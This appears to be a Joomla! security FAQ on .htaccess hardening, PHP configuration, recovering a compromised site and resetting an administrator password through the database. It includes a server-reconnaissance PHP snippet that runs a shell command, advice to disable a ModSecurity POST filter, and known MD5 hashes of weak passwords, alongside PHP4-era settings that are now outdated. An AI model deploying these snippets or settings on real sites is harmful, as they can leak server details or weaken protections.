: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

